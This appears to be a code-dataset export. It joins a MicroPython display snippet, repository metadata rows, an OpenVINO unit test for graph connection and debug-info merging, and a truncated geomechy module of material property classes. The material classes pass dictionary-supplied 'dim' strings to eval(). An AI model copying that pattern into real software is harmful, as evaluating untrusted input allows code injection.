fb1 = framebuf.FrameBuffer(bmp_labplus6,128,64, framebuf.MONO_VLSB)
display.blit(fb1,0,0)
display.show()
time.sleep_ms(20)
else:
display.show()
buzz.freq(300)
buzz.duty(0)
| 63.728782 | 80 | 0.77699 | 6,684 | 34,541 | 4.004189 | 0.028875 | 1.36452 | 2.003736 | 2.623225 | 0.90192 | 0.879054 | 0.856187 | 0.840046 | 0.823943 | 0.816694 | 0 | 0.523854 | 0.029038 | 34,541 | 541 | 81 | 63.84658 | 0.274167 | 0.008946 | 0 | 0.637275 | 0 | 0 | 0 | 0 | 0 | 0 | 0.720767 | 0 | 0 | 1 | 0.006012 | false | 0 | 0.01002 | 0 | 0.016032 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 12 |
a755b1f901e0d7cf7136e8947033d6fdb4252163 | 28,860 | py | Python | model-optimizer/unit_tests/mo/graph/connection_test.py | monroid/openvino | 8272b3857ef5be0aaa8abbf7bd0d5d5615dc40b6 | [
"Apache-2.0"
] | 2,406 | 2020-04-22T15:47:54.000Z | 2022-03-31T10:27:37.000Z | model-optimizer/unit_tests/mo/graph/connection_test.py | thomas-yanxin/openvino | 031e998a15ec738c64cc2379d7f30fb73087c272 | [
"Apache-2.0"
] | 4,948 | 2020-04-22T15:12:39.000Z | 2022-03-31T18:45:42.000Z | model-optimizer/unit_tests/mo/graph/connection_test.py | thomas-yanxin/openvino | 031e998a15ec738c64cc2379d7f30fb73087c272 | [
"Apache-2.0"
] | 991 | 2020-04-23T18:21:09.000Z | 2022-03-31T18:40:57.000Z | # Copyright (C) 2018-2021 Intel Corporation
# SPDX-License-Identifier: Apache-2.0
import unittest
from mo.graph.graph import Node, Graph
from mo.utils.ir_engine.compare_graphs import compare_graphs
from unit_tests.utils.graph import build_graph, regular_op
nodes = {
**regular_op('input', {'type': 'Parameter'}),
**regular_op('Op1', {'type': 'Op1', 'kind': 'op', 'op': 'Op1'}),
**regular_op('Op2', {'type': 'Op2', 'kind': 'op', 'op': 'Op2'}),
**regular_op('NewOp', {'type': 'NewOp', 'kind': 'op', 'op': 'NewOp'}),
'input_data': {'kind': 'data', 'fw_tensor_debug_info': [('input', 'input')]},
'Op1_data': {'kind': 'data', 'fw_tensor_debug_info': [('Op1', 'Op1')]},
'Op2_data': {'kind': 'data', 'fw_tensor_debug_info': [('Op2', 'Op2')]},
'NewOp_data': {'kind': 'data'},
}
class TestsFront(unittest.TestCase):
def check_graph_attrs_front(self, graph: Graph, graph_ref: Graph):
for node in graph_ref.get_op_nodes():
if len(node.out_edges()) > 0:
out_edge_ref = node.out_edge(0)
out_edge = Node(graph, node.id).out_edge(0)
if 'fw_tensor_debug_info' in out_edge_ref:
self.assertTrue(out_edge['fw_tensor_debug_info'] == out_edge_ref['fw_tensor_debug_info'])
else:
self.assertFalse('fw_tensor_debug_info' in out_edge)
def test_case1_merge(self):
graph = build_graph(nodes,
[('input', 'Op1', {'in': 0, 'out': 0, 'fw_tensor_debug_info': [('input', 'input')]})])
graph_ref = build_graph(nodes, [
('input', 'NewOp', {'in': 0, 'out': 0, 'fw_tensor_debug_info': [('input', 'input')]})])
input_node = Node(graph, 'input')
new_node = Node(graph, 'NewOp')
new_node.add_input_port(0)
graph.stage = 'front'
new_node.in_port(0).get_connection().set_source(input_node.out_port(0), "merge")
(flag, resp) = compare_graphs(graph, graph_ref, 'NewOp', check_op_attrs=True)
self.assertTrue(flag, resp)
self.check_graph_attrs_front(graph, graph_ref)
def test_case1_source(self):
graph = build_graph(nodes, [
('input', 'Op1', {'in': 0, 'out': 0, 'fw_tensor_debug_info': [('input', 'input')]})])
graph_ref = build_graph(nodes, [
('input', 'NewOp', {'in': 0, 'out': 0, 'fw_tensor_debug_info': [('input', 'input')]})])
input_node = Node(graph, 'input')
new_node = Node(graph, 'NewOp')
new_node.add_input_port(0)
graph.stage = 'front'
new_node.in_port(0).get_connection().set_source(input_node.out_port(0), "source")
(flag, resp) = compare_graphs(graph, graph_ref, 'NewOp', check_op_attrs=True)
self.assertTrue(flag, resp)
self.check_graph_attrs_front(graph, graph_ref)
def test_case1_dest(self):
graph = build_graph(nodes, [
('input', 'Op1', {'in': 0, 'out': 0, 'fw_tensor_debug_info': [('input', 'input')]})])
graph_ref = build_graph(nodes, [
('input', 'NewOp', {'in': 0, 'out': 0})])
input_node = Node(graph, 'input')
new_node = Node(graph, 'NewOp')
new_node.add_input_port(0)
graph.stage = 'front'
new_node.in_port(0).get_connection().set_source(input_node.out_port(0), "dest")
(flag, resp) = compare_graphs(graph, graph_ref, 'NewOp', check_op_attrs=True)
self.assertTrue(flag, resp)
self.check_graph_attrs_front(graph, graph_ref)
def test_case2_merge(self):
graph = build_graph(nodes,
[('input', 'Op1', {'in': 0, 'out': 0, 'fw_tensor_debug_info': [('input', 'input')]})])
graph_ref = build_graph(nodes, [
('input', 'NewOp', {'in': 0, 'out': 0, 'fw_tensor_debug_info': [('input', 'input')]})])
op1_node = Node(graph, 'Op1')
new_node = Node(graph, 'NewOp')
new_node.add_input_port(0)
graph.stage = 'front'
op1_node.in_port(0).get_connection().set_destination(new_node.in_port(0), "merge")
(flag, resp) = compare_graphs(graph, graph_ref, 'NewOp', check_op_attrs=True)
self.assertTrue(flag, resp)
self.check_graph_attrs_front(graph, graph_ref)
def test_case2_source(self):
graph = build_graph(nodes,
[('input', 'Op1', {'in': 0, 'out': 0, 'fw_tensor_debug_info': [('input', 'input')]})])
graph_ref = build_graph(nodes, [
('input', 'NewOp', {'in': 0, 'out': 0, 'fw_tensor_debug_info': [('input', 'input')]})])
op1_node = Node(graph, 'Op1')
new_node = Node(graph, 'NewOp')
new_node.add_input_port(0)
graph.stage = 'front'
op1_node.in_port(0).get_connection().set_destination(new_node.in_port(0), "source")
(flag, resp) = compare_graphs(graph, graph_ref, 'NewOp', check_op_attrs=True)
self.assertTrue(flag, resp)
self.check_graph_attrs_front(graph, graph_ref)
def test_case2_dest(self):
graph = build_graph(nodes,
[('input', 'Op1', {'in': 0, 'out': 0, 'fw_tensor_debug_info': [('input', 'input')]})])
graph_ref = build_graph(nodes, [('input', 'NewOp', {'in': 0, 'out': 0})])
op1_node = Node(graph, 'Op1')
new_node = Node(graph, 'NewOp')
new_node.add_input_port(0)
graph.stage = 'front'
op1_node.in_port(0).get_connection().set_destination(new_node.in_port(0), "dest")
(flag, resp) = compare_graphs(graph, graph_ref, 'NewOp', check_op_attrs=True)
self.assertTrue(flag, resp)
self.check_graph_attrs_front(graph, graph_ref)
def test_case3_merge(self):
graph = build_graph(nodes,
[('input', 'Op1', {'in': 0, 'out': 0, 'fw_tensor_debug_info': [('input', 'input')]})])
graph_ref = build_graph(nodes, [
('NewOp', 'Op1', {'in': 0, 'out': 0, 'fw_tensor_debug_info': [('input', 'input')]})])
op1_node = Node(graph, 'Op1')
new_node = Node(graph, 'NewOp')
new_node.add_output_port(0)
graph.stage = 'front'
op1_node.in_port(0).get_connection().set_source(new_node.out_port(0), "merge")
(flag, resp) = compare_graphs(graph, graph_ref, 'Op1', check_op_attrs=True)
self.assertTrue(flag, resp)
self.check_graph_attrs_front(graph, graph_ref)
def test_case3_source(self):
graph = build_graph(nodes,
[('input', 'Op1', {'in': 0, 'out': 0, 'fw_tensor_debug_info': [('input', 'input')]})])
graph_ref = build_graph(nodes, [('NewOp', 'Op1', {'in': 0, 'out': 0})])
op1_node = Node(graph, 'Op1')
new_node = Node(graph, 'NewOp')
new_node.add_output_port(0)
graph.stage = 'front'
op1_node.in_port(0).get_connection().set_source(new_node.out_port(0), "source")
(flag, resp) = compare_graphs(graph, graph_ref, 'Op1', check_op_attrs=True)
self.assertTrue(flag, resp)
self.check_graph_attrs_front(graph, graph_ref)
def test_case3_dest(self):
graph = build_graph(nodes,
[('input', 'Op1', {'in': 0, 'out': 0, 'fw_tensor_debug_info': [('input', 'input')]})])
graph_ref = build_graph(nodes, [
('NewOp', 'Op1', {'in': 0, 'out': 0, 'fw_tensor_debug_info': [('input', 'input')]})])
op1_node = Node(graph, 'Op1')
new_node = Node(graph, 'NewOp')
new_node.add_output_port(0)
graph.stage = 'front'
op1_node.in_port(0).get_connection().set_source(new_node.out_port(0), "dest")
(flag, resp) = compare_graphs(graph, graph_ref, 'Op1', check_op_attrs=True)
self.assertTrue(flag, resp)
self.check_graph_attrs_front(graph, graph_ref)
def test_case4_merge(self):
graph = build_graph(nodes,
[('input', 'Op1', {'in': 0, 'out': 0, 'fw_tensor_debug_info': [('input', 'input')]})])
graph_ref = build_graph(nodes, [
('NewOp', 'Op1', {'in': 0, 'out': 0, 'fw_tensor_debug_info': [('input', 'input')]})])
op1_node = Node(graph, 'Op1')
new_node = Node(graph, 'NewOp')
new_node.add_output_port(0)
graph.stage = 'front'
new_node.out_port(0).get_connection().set_destination(op1_node.in_port(0), "merge")
(flag, resp) = compare_graphs(graph, graph_ref, 'Op1', check_op_attrs=True)
self.assertTrue(flag, resp)
self.check_graph_attrs_front(graph, graph_ref)
def test_case4_source(self):
graph = build_graph(nodes,
[('input', 'Op1', {'in': 0, 'out': 0, 'fw_tensor_debug_info': [('input', 0, 'input')]})])
graph_ref = build_graph(nodes, [('NewOp', 'Op1', {'in': 0, 'out': 0})])
op1_node = Node(graph, 'Op1')
new_node = Node(graph, 'NewOp')
new_node.add_output_port(0)
graph.stage = 'front'
new_node.out_port(0).get_connection().set_destination(op1_node.in_port(0), "source")
(flag, resp) = compare_graphs(graph, graph_ref, 'Op1', check_op_attrs=True)
self.assertTrue(flag, resp)
self.check_graph_attrs_front(graph, graph_ref)
def test_case4_dest(self):
graph = build_graph(nodes,
[('input', 'Op1', {'in': 0, 'out': 0, 'fw_tensor_debug_info': [('input', 0, 'input')]})])
graph_ref = build_graph(nodes, [
('NewOp', 'Op1', {'in': 0, 'out': 0, 'fw_tensor_debug_info': [('input', 0, 'input')]})])
op1_node = Node(graph, 'Op1')
new_node = Node(graph, 'NewOp')
new_node.add_output_port(0)
graph.stage = 'front'
new_node.out_port(0).get_connection().set_destination(op1_node.in_port(0), "dest")
(flag, resp) = compare_graphs(graph, graph_ref, 'Op1', check_op_attrs=True)
self.assertTrue(flag, resp)
self.check_graph_attrs_front(graph, graph_ref)
def test_case5_merge(self):
graph = build_graph(nodes,
[('input', 'Op1', {'in': 0, 'out': 0, 'fw_tensor_debug_info': [('input', 0, 'input')]}),
('Op1', 'Op2', {'in': 0, 'out': 0, 'fw_tensor_debug_info': [('Op1', 0, 'Op1')]})])
graph_ref = build_graph(nodes, [
('input', 'Op2', {'in': 0, 'out': 0, 'fw_tensor_debug_info': [('input', 0, 'input'), ('Op1', 0, 'Op1')]})])
op1_node = Node(graph, 'Op1')
inp_node = Node(graph, 'input')
op2_node = Node(graph, 'Op2')
graph.stage = 'front'
op1_node.out_port(0).get_connection().set_source(op1_node.in_port(0).get_source(), "merge")
(flag, resp) = compare_graphs(graph, graph_ref, 'Op2', check_op_attrs=True)
self.assertTrue(flag, resp)
self.check_graph_attrs_front(graph, graph_ref)
def test_case5_source(self):
graph = build_graph(nodes,
[('input', 'Op1', {'in': 0, 'out': 0, 'fw_tensor_debug_info': [('input', 0, 'input')]}),
('Op1', 'Op2', {'in': 0, 'out': 0, 'fw_tensor_debug_info': [('Op1', 0, 'Op1')]})])
graph_ref = build_graph(nodes, [
('input', 'Op2', {'in': 0, 'out': 0, 'fw_tensor_debug_info': [('input', 0, 'input')]})])
op1_node = Node(graph, 'Op1')
graph.stage = 'front'
op1_node.out_port(0).get_connection().set_source(op1_node.in_port(0).get_source(), "source")
(flag, resp) = compare_graphs(graph, graph_ref, 'Op2', check_op_attrs=True)
self.assertTrue(flag, resp)
self.check_graph_attrs_front(graph, graph_ref)
def test_case5_dest(self):
graph = build_graph(nodes,
[('input', 'Op1', {'in': 0, 'out': 0, 'fw_tensor_debug_info': [('input', 0, 'input')]}),
('Op1', 'Op2', {'in': 0, 'out': 0, 'fw_tensor_debug_info': [('Op1', 0, 'Op1')]})])
graph_ref = build_graph(nodes,
[('input', 'Op2', {'in': 0, 'out': 0, 'fw_tensor_debug_info': [('Op1', 0, 'Op1')]})])
op1_node = Node(graph, 'Op1')
graph.stage = 'front'
op1_node.out_port(0).get_connection().set_source(op1_node.in_port(0).get_source(), "dest")
(flag, resp) = compare_graphs(graph, graph_ref, 'Op2', check_op_attrs=True)
self.assertTrue(flag, resp)
self.check_graph_attrs_front(graph, graph_ref)
def test_case6_merge(self):
graph = build_graph(nodes,
[('input', 'Op1', {'in': 0, 'out': 0, 'fw_tensor_debug_info': [('input', 0, 'input')]}),
('Op1', 'Op2', {'in': 0, 'out': 0, 'fw_tensor_debug_info': [('Op1', 0, 'Op1')]})])
graph_ref = build_graph(nodes, [
('input', 'Op2', {'in': 0, 'out': 0, 'fw_tensor_debug_info': [('input', 0, 'input'), ('Op1', 0, 'Op1')]})])
op1_node = Node(graph, 'Op1')
graph.stage = 'front'
op1_node.in_port(0).get_connection().set_destination(op1_node.out_port(0).get_destination(), "merge")
(flag, resp) = compare_graphs(graph, graph_ref, 'Op2', check_op_attrs=True)
self.assertTrue(flag, resp)
self.check_graph_attrs_front(graph, graph_ref)
def test_case6_source(self):
graph = build_graph(nodes,
[('input', 'Op1', {'in': 0, 'out': 0, 'fw_tensor_debug_info': [('input', 0, 'input')]}),
('Op1', 'Op2', {'in': 0, 'out': 0, 'fw_tensor_debug_info': [('Op1', 0, 'Op1')]})])
graph_ref = build_graph(nodes, [
('input', 'Op2', {'in': 0, 'out': 0, 'fw_tensor_debug_info': [('input', 0, 'input')]})])
op1_node = Node(graph, 'Op1')
graph.stage = 'front'
op1_node.in_port(0).get_connection().set_destination(op1_node.out_port(0).get_destination(), "source")
(flag, resp) = compare_graphs(graph, graph_ref, 'Op2', check_op_attrs=True)
self.assertTrue(flag, resp)
self.check_graph_attrs_front(graph, graph_ref)
def test_case6_dest(self):
graph = build_graph(nodes,
[('input', 'Op1', {'in': 0, 'out': 0, 'fw_tensor_debug_info': [('input', 0, 'input')]}),
('Op1', 'Op2', {'in': 0, 'out': 0, 'fw_tensor_debug_info': [('Op1', 0, 'Op1')]})])
graph_ref = build_graph(nodes,
[('input', 'Op2', {'in': 0, 'out': 0, 'fw_tensor_debug_info': [('Op1', 0, 'Op1')]})])
op1_node = Node(graph, 'Op1')
graph.stage = 'front'
op1_node.in_port(0).get_connection().set_destination(op1_node.out_port(0).get_destination(), "dest")
(flag, resp) = compare_graphs(graph, graph_ref, 'Op2', check_op_attrs=True)
self.assertTrue(flag, resp)
self.check_graph_attrs_front(graph, graph_ref)
class TestsMiddle(unittest.TestCase):
def check_graph_attrs_middle(self, graph: Graph, graph_ref: Graph):
for node in graph_ref.get_op_nodes():
if len(node.out_nodes()) > 0:
data_node_ref = node.out_node(0)
data_node = Node(graph, node.id).out_node(0)
if 'fw_tensor_debug_info' in data_node_ref:
self.assertTrue(data_node_ref['fw_tensor_debug_info'] == data_node['fw_tensor_debug_info'])
else:
self.assertFalse('fw_tensor_debug_info' in data_node)
def test_case1_merge(self):
graph = build_graph(nodes, [('input', 'input_data'), ('input_data', 'Op1')])
graph_ref = build_graph(nodes, [('input', 'input_data'), ('input_data', 'Op1'),
('input_data', 'NewOp')])
input_node = Node(graph, 'input')
new_node = Node(graph, 'NewOp')
new_node.add_input_port(0)
new_node.in_port(0).get_connection().set_source(input_node.out_port(0), "merge")
(flag, resp) = compare_graphs(graph, graph_ref, 'NewOp', check_op_attrs=True)
self.assertTrue(flag, resp)
self.check_graph_attrs_middle(graph, graph_ref)
def test_case1_source(self):
graph = build_graph(nodes, [('input', 'input_data'), ('input_data', 'Op1')])
graph_ref = build_graph(nodes, [('input', 'input_data'), ('input_data', 'Op1'),
('input_data', 'NewOp')])
input_node = Node(graph, 'input')
new_node = Node(graph, 'NewOp')
new_node.add_input_port(0)
new_node.in_port(0).get_connection().set_source(input_node.out_port(0), "source")
(flag, resp) = compare_graphs(graph, graph_ref, 'NewOp', check_op_attrs=True)
self.assertTrue(flag, resp)
self.check_graph_attrs_middle(graph, graph_ref)
def test_case1_dest(self):
graph = build_graph(nodes, [('input', 'input_data'), ('input_data', 'Op1')])
graph_ref = build_graph(nodes, [('input', 'input_data'), ('input_data', 'Op1'),
('input_data', 'NewOp')])
input_node_data = Node(graph_ref, 'input_data')
del input_node_data['fw_tensor_debug_info']
input_node = Node(graph, 'input')
new_node = Node(graph, 'NewOp')
new_node.add_input_port(0)
new_node.in_port(0).get_connection().set_source(input_node.out_port(0), "dest")
(flag, resp) = compare_graphs(graph, graph_ref, 'NewOp', check_op_attrs=True)
self.assertTrue(flag, resp)
self.check_graph_attrs_middle(graph, graph_ref)
def test_case2_merge(self):
graph = build_graph(nodes, [('input', 'input_data'), ('input_data', 'Op1')])
graph_ref = build_graph(nodes, [('input', 'input_data'),
('input_data', 'NewOp')])
op1_node = Node(graph, 'Op1')
new_node = Node(graph, 'NewOp')
new_node.add_input_port(0)
op1_node.in_port(0).get_connection().set_destination(new_node.in_port(0), "merge")
(flag, resp) = compare_graphs(graph, graph_ref, 'NewOp', check_op_attrs=True)
self.assertTrue(flag, resp)
self.check_graph_attrs_middle(graph, graph_ref)
def test_case2_source(self):
graph = build_graph(nodes, [('input', 'input_data'), ('input_data', 'Op1')])
graph_ref = build_graph(nodes, [('input', 'input_data'),
('input_data', 'NewOp')])
op1_node = Node(graph, 'Op1')
new_node = Node(graph, 'NewOp')
new_node.add_input_port(0)
op1_node.in_port(0).get_connection().set_destination(new_node.in_port(0), "source")
(flag, resp) = compare_graphs(graph, graph_ref, 'NewOp', check_op_attrs=True)
self.assertTrue(flag, resp)
self.check_graph_attrs_middle(graph, graph_ref)
def test_case2_dest(self):
graph = build_graph(nodes, [('input', 'input_data'), ('input_data', 'Op1')])
graph_ref = build_graph(nodes, [('input', 'input_data'),
('input_data', 'NewOp')])
input_node_data = Node(graph_ref, 'input_data')
del input_node_data['fw_tensor_debug_info']
op1_node = Node(graph, 'Op1')
new_node = Node(graph, 'NewOp')
new_node.add_input_port(0)
op1_node.in_port(0).get_connection().set_destination(new_node.in_port(0), "dest")
(flag, resp) = compare_graphs(graph, graph_ref, 'NewOp', check_op_attrs=True)
self.assertTrue(flag, resp)
self.check_graph_attrs_middle(graph, graph_ref)
def test_case3_merge(self):
graph = build_graph(nodes, [('input', 'input_data'), ('input_data', 'Op1')])
graph_ref = build_graph(nodes, [('input', 'input_data'), ('NewOp', 'NewOp_data'), ('NewOp_data', 'Op1')])
new_op_data = Node(graph_ref, 'NewOp_data')
new_op_data['fw_tensor_debug_info'] = [('input', 'input')]
input_data = Node(graph_ref, 'input_data')
del input_data['fw_tensor_debug_info']
op1_node = Node(graph, 'Op1')
new_node = Node(graph, 'NewOp')
new_node.add_output_port(0)
op1_node.in_port(0).get_connection().set_source(new_node.out_port(0), "merge")
(flag, resp) = compare_graphs(graph, graph_ref, 'Op1', check_op_attrs=True)
self.assertTrue(flag, resp)
self.check_graph_attrs_middle(graph, graph_ref)
def test_case3_source(self):
graph = build_graph(nodes, [('input', 'input_data'), ('input_data', 'Op1')])
graph_ref = build_graph(nodes, [('input', 'input_data'), ('NewOp', 'NewOp_data'), ('NewOp_data', 'Op1')])
op1_node = Node(graph, 'Op1')
new_node = Node(graph, 'NewOp')
new_node.add_output_port(0)
op1_node.in_port(0).get_connection().set_source(new_node.out_port(0), "source")
(flag, resp) = compare_graphs(graph, graph_ref, 'Op1', check_op_attrs=True)
self.assertTrue(flag, resp)
self.check_graph_attrs_middle(graph, graph_ref)
def test_case3_dest(self):
graph = build_graph(nodes, [('input', 'input_data'), ('input_data', 'Op1')])
graph_ref = build_graph(nodes, [('input', 'input_data'), ('NewOp', 'NewOp_data'), ('NewOp_data', 'Op1')])
new_op_data = Node(graph_ref, 'NewOp_data')
new_op_data['fw_tensor_debug_info'] = [('input', 'input')]
input_data = Node(graph_ref, 'input_data')
del input_data['fw_tensor_debug_info']
op1_node = Node(graph, 'Op1')
new_node = Node(graph, 'NewOp')
new_node.add_output_port(0)
op1_node.in_port(0).get_connection().set_source(new_node.out_port(0), "dest")
(flag, resp) = compare_graphs(graph, graph_ref, 'Op1', check_op_attrs=True)
self.assertTrue(flag, resp)
self.check_graph_attrs_middle(graph, graph_ref)
def test_case4_merge(self):
graph = build_graph(nodes, [('input', 'input_data'), ('input_data', 'Op1')])
graph_ref = build_graph(nodes, [('input', 'input_data'), ('NewOp', 'NewOp_data'), ('NewOp_data', 'Op1')])
new_op_data = Node(graph_ref, 'NewOp_data')
new_op_data['fw_tensor_debug_info'] = [('input', 'input')]
op1_node = Node(graph, 'Op1')
new_node = Node(graph, 'NewOp')
new_node.add_output_port(0)
new_node.out_port(0).get_connection().set_destination(op1_node.in_port(0), "merge")
(flag, resp) = compare_graphs(graph, graph_ref, 'Op1', check_op_attrs=True)
self.assertTrue(flag, resp)
self.check_graph_attrs_middle(graph, graph_ref)
def test_case4_source(self):
graph = build_graph(nodes, [('input', 'input_data'), ('input_data', 'Op1')])
graph_ref = build_graph(nodes, [('input', 'input_data'), ('NewOp', 'NewOp_data'), ('NewOp_data', 'Op1')])
op1_node = Node(graph, 'Op1')
new_node = Node(graph, 'NewOp')
new_node.add_output_port(0)
new_node.out_port(0).get_connection().set_destination(op1_node.in_port(0), "source")
(flag, resp) = compare_graphs(graph, graph_ref, 'Op1', check_op_attrs=True)
self.assertTrue(flag, resp)
self.check_graph_attrs_middle(graph, graph_ref)
def test_case4_dest(self):
graph = build_graph(nodes, [('input', 'input_data'), ('input_data', 'Op1')])
graph_ref = build_graph(nodes, [('input', 'input_data'), ('NewOp', 'NewOp_data'), ('NewOp_data', 'Op1')])
new_op_data = Node(graph_ref, 'NewOp_data')
new_op_data['fw_tensor_debug_info'] = [('input', 'input')]
op1_node = Node(graph, 'Op1')
new_node = Node(graph, 'NewOp')
new_node.add_output_port(0)
new_node.out_port(0).get_connection().set_destination(op1_node.in_port(0), "dest")
(flag, resp) = compare_graphs(graph, graph_ref, 'Op1', check_op_attrs=True)
self.assertTrue(flag, resp)
self.check_graph_attrs_middle(graph, graph_ref)
def test_case5_merge(self):
graph = build_graph(nodes, [('input', 'input_data'), ('input_data', 'Op1'),
('Op1', 'Op1_data'), ('Op1_data', 'Op2')])
graph_ref = build_graph(nodes, [('input', 'input_data'), ('input_data', 'Op1'),
('Op1', 'Op1_data'), ('input_data', 'Op2')])
input_data = Node(graph_ref, 'input_data')
input_data['fw_tensor_debug_info'] = [('input', 'input'), ('Op1', 'Op1')]
op1_data = Node(graph_ref, 'Op1_data')
del op1_data['fw_tensor_debug_info']
op1_node = Node(graph, 'Op1')
op1_node.out_port(0).get_connection().set_source(op1_node.in_port(0).get_source(), "merge")
(flag, resp) = compare_graphs(graph, graph_ref, 'Op2', check_op_attrs=True)
self.assertTrue(flag, resp)
self.check_graph_attrs_middle(graph, graph_ref)
def test_case5_source(self):
graph = build_graph(nodes, [('input', 'input_data'), ('input_data', 'Op1'),
('Op1', 'Op1_data'), ('Op1_data', 'Op2')])
graph_ref = build_graph(nodes, [('input', 'input_data'), ('input_data', 'Op1'),
('Op1', 'Op1_data'), ('input_data', 'Op2')])
input_data = Node(graph_ref, 'input_data')
input_data['fw_tensor_debug_info'] = [('input', 'input')]
op1_node = Node(graph, 'Op1')
op1_node.out_port(0).get_connection().set_source(op1_node.in_port(0).get_source(), "source")
(flag, resp) = compare_graphs(graph, graph_ref, 'Op2', check_op_attrs=True)
self.assertTrue(flag, resp)
self.check_graph_attrs_middle(graph, graph_ref)
def test_case5_dest(self):
graph = build_graph(nodes, [('input', 'input_data'), ('input_data', 'Op1'),
('Op1', 'Op1_data'), ('Op1_data', 'Op2')])
graph_ref = build_graph(nodes, [('input', 'input_data'), ('input_data', 'Op1'),
('Op1', 'Op1_data'), ('input_data', 'Op2')])
input_data = Node(graph_ref, 'input_data')
input_data['fw_tensor_debug_info'] = [('Op1', 'Op1')]
op1_data = Node(graph_ref, 'Op1_data')
del op1_data['fw_tensor_debug_info']
op1_node = Node(graph, 'Op1')
op1_node.out_port(0).get_connection().set_source(op1_node.in_port(0).get_source(), "dest")
(flag, resp) = compare_graphs(graph, graph_ref, 'Op2', check_op_attrs=True)
self.assertTrue(flag, resp)
self.check_graph_attrs_middle(graph, graph_ref)
def test_case6_merge(self):
graph = build_graph(nodes, [('input', 'input_data'), ('input_data', 'Op1'),
('Op1', 'Op1_data'), ('Op1_data', 'Op2')])
graph_ref = build_graph(nodes, [('input', 'input_data'), ('input_data', 'Op2'),
('Op1', 'Op1_data')])
input_data = Node(graph_ref, 'input_data')
input_data['fw_tensor_debug_info'] = [('input', 'input'), ('Op1', 'Op1')]
op1_node = Node(graph, 'Op1')
op1_node.in_port(0).get_connection().set_destination(op1_node.out_port(0).get_destination(), "merge")
(flag, resp) = compare_graphs(graph, graph_ref, 'Op2', check_op_attrs=True)
self.assertTrue(flag, resp)
self.check_graph_attrs_middle(graph, graph_ref)
def test_case6_source(self):
graph = build_graph(nodes, [('input', 'input_data'), ('input_data', 'Op1'),
('Op1', 'Op1_data'), ('Op1_data', 'Op2')])
graph_ref = build_graph(nodes, [('input', 'input_data'), ('input_data', 'Op2'),
('Op1', 'Op1_data')])
input_data = Node(graph_ref, 'input_data')
input_data['fw_tensor_debug_info'] = [('input', 'input')]
op1_node = Node(graph, 'Op1')
op1_node.in_port(0).get_connection().set_destination(op1_node.out_port(0).get_destination(), "source")
(flag, resp) = compare_graphs(graph, graph_ref, 'Op2', check_op_attrs=True)
self.assertTrue(flag, resp)
self.check_graph_attrs_middle(graph, graph_ref)
def test_case6_dest(self):
graph = build_graph(nodes, [('input', 'input_data'), ('input_data', 'Op1'),
('Op1', 'Op1_data'), ('Op1_data', 'Op2')])
graph_ref = build_graph(nodes, [('input', 'input_data'), ('input_data', 'Op2'),
('Op1', 'Op1_data')])
input_data = Node(graph_ref, 'input_data')
input_data['fw_tensor_debug_info'] = [('Op1', 'Op1')]
op1_node = Node(graph, 'Op1')
op1_node.in_port(0).get_connection().set_destination(op1_node.out_port(0).get_destination(), "dest")
(flag, resp) = compare_graphs(graph, graph_ref, 'Op2', check_op_attrs=True)
self.assertTrue(flag, resp)
self.check_graph_attrs_middle(graph, graph_ref)
| 46.398714 | 119 | 0.588358 | 3,769 | 28,860 | 4.172194 | 0.023083 | 0.065119 | 0.061176 | 0.083943 | 0.961272 | 0.95752 | 0.953196 | 0.943911 | 0.941749 | 0.941749 | 0 | 0.024734 | 0.239293 | 28,860 | 621 | 120 | 46.47343 | 0.691537 | 0.002668 | 0 | 0.926931 | 0 | 0 | 0.162578 | 0 | 0 | 0 | 0 | 0 | 0.083507 | 1 | 0.079332 | false | 0 | 0.008351 | 0 | 0.091858 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
a7740730b22f1559516f72e7339696727d540137 | 3,428 | py | Python | geomechy/materials.py | cfgarciar/geomechy | 5452c705e7ae771e2f8f8a11277bd00c12707b8c | [
"Apache-2.0"
] | null | null | null | geomechy/materials.py | cfgarciar/geomechy | 5452c705e7ae771e2f8f8a11277bd00c12707b8c | [
"Apache-2.0"
] | 2 | 2021-09-28T05:34:32.000Z | 2022-02-26T10:00:57.000Z | geomechy/materials.py | cfgarciar/geomechy | 5452c705e7ae771e2f8f8a11277bd00c12707b8c | [
"Apache-2.0"
] | null | null | null | # AUTOGENERATED! DO NOT EDIT! File to edit: 06_materials.ipynb (unless otherwise specified).
__all__ = ['Soil', 'Rock', 'Water', 'Oil', 'Air', 'Gas', 'Soil']
# Cell
from .base import Properties
from .utils import *
from .io import jsonReader
# Cell
class Soil(Properties):
def __init__ (self, props={}):
for key in props.keys():
setattr(self, key, props[key])
for att in dir(self):
if att.startswith('__') or att.startswith('store') or att.startswith('Type') or att.startswith('name'):
continue
dim = eval(getattr(self,att)["dim"])
value = getattr(self,att)["value"]
setattr(self, att, value*dim)
# Cell
class Rock(Properties):
def __init__ (self, props={}):
for key in props.keys():
setattr(self, key, props[key])
for att in dir(self):
if att.startswith('__') or att.startswith('store') or att.startswith('Type') or att.startswith('name'):
continue
dim = eval(getattr(self,att)["dim"])
value = getattr(self,att)["value"]
setattr(self, att, value*dim)
# Cell
class Water(Properties):
def __init__ (self, props={}):
for key in props.keys():
setattr(self, key, props[key])
for att in dir(self):
if att.startswith('__') or att.startswith('store') or att.startswith('Type') or att.startswith('name'):
continue
dim = eval(getattr(self,att)["dim"])
value = getattr(self,att)["value"]
setattr(self, att, value*dim)
# Cell
class Oil(Properties):
def __init__ (self, props={}):
for key in props.keys():
setattr(self, key, props[key])
for att in dir(self):
if att.startswith('__') or att.startswith('store') or att.startswith('Type') or att.startswith('name'):
continue
dim = eval(getattr(self,att)["dim"])
value = getattr(self,att)["value"]
setattr(self, att, value*dim)
# Cell
class Air(Properties):
def __init__ (self, props={}):
for key in props.keys():
setattr(self, key, props[key])
for att in dir(self):
if att.startswith('__') or att.startswith('store') or att.startswith('Type') or att.startswith('name'):
continue
dim = eval(getattr(self,att)["dim"])
value = getattr(self,att)["value"]
setattr(self, att, value*dim)
# Cell
class Gas(Properties):
def __init__ (self, props={}):
for key in props.keys():
setattr(self, key, props[key])
for att in dir(self):
